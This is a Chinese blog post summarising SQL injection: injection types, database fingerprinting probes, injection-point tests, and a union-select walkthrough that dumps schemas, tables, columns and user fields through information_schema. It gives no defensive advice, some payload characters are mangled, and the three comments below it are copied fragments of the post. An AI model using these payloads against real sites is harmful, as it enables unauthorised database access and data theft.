SQL注入的总结
有人的地方就有江湖,有数据库的地方就会有SQL注入(有可能…)
那么言归正传,SQL注入这个漏洞是怎么造成的呢???
当客户端提交的数据没有被作处理或者没有被转义直接就带入数据库,那么就会造成我刚刚说的SQL注入漏洞,攻击者通过构造不同的SQL语句来实现对数据库的任意操作
接下来说一下注入的分类:
1.联合注入
2.布尔注入
3.报错注入
4.延时注入
5.内联注入
6.堆叠注入
以上这些是根据sqlmap的注入类型列出来的
再列一下常用的参数与系统函数
参数:
schemata table_schema
tables table_name
columns column_name
系统函数:
database() version() user()
再说一下如何判断数据库类型:
(1)注释符判断
/是 MySQL 中的注释符,返回错误说明该注入点的数据库不是MySQL
–是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一
;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle
(2)函数判断
and (select count(*)from MSysAccessObjects)>0 access 数据库
and (select count(*)from sysobjects)>0 返回正常说明是 mssql 数据库
and length(user())>10 返回正常说明是 Mysql
Oracle 可以根据 from dual 虚拟库判断
对了,判断注入点忘记说了
数字型:id=2-1
字符型: ’ 、’)、 '))、 "、 ")、 "))
注释符:-- (这是–空格)、–+、、#
通过观察页面是否正常,判断页面是否存在注入点
如 id=21’ and 1=1 %23 页面正常
id=21’ and 1=2 %23 页面返回无数据
MySQL 与 MSSQL 及 ACCESS 之间的区别
(1)MySQL5.0 以下没有 information_schema 这个默认数据库
(2)ACCESS 没有库名,只有表和字段,并且注入时,后面必须跟表名,因此只能爆表,ACCESS
举例:select 1,2,3 from table_name
union select 1,2,3 from table_name
(3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)
最后就讲一下常用的联合查询法
确认存在注入点之后
利用二分法查询字段数,观察页面变化从而确定字段内容
order by 二分法联合查询字段数,观察页面变化从而确定字段数
order by 判断字段
例如order by 1到4都是正常的到5就报错,那么字段就是4
利用 and 1=2 或 and 0 及 id=-12 是数据为空从而查看显示数据的位置
替换显示位改成 SQL 语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3
再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information
schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查询字段内容
如:查询 test 库下 users 表的 id 及 uname 字段,用’~'区分 id 和 uname 以防字符连接到一起
union select(select group_concat(id,’~’,uname)from test.users),2,3
相关文章
- 3条评论
- 痛言情授2022-06-04 02:14:40
- ser())>10 返回正常说明是 MysqlOracle 可以根据 from dual 虚拟库判断对了,判断注入点忘记说了数字型:id=2-1字符型: ’ 、’)、 '))、 "、 ")、 "))注释符:-- (这是–空格)、–+、
- 北槐僚兮2022-06-03 18:34:08
- ,并且注入时,后面必须跟表名,因此只能爆表,ACCESS举例:select 1,2,3 from table_name union select 1,2,3 fr
- 辞眸北槐2022-06-03 22:24:25
- rsion() user()再说一下如何判断数据库类型:(1)注释符判断/是 MySQL 中的注释符,返回错误说明该注入点的数据库不是MySQL–是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一;是子句查询标识符,Oracle 不支持多行查询,因此如果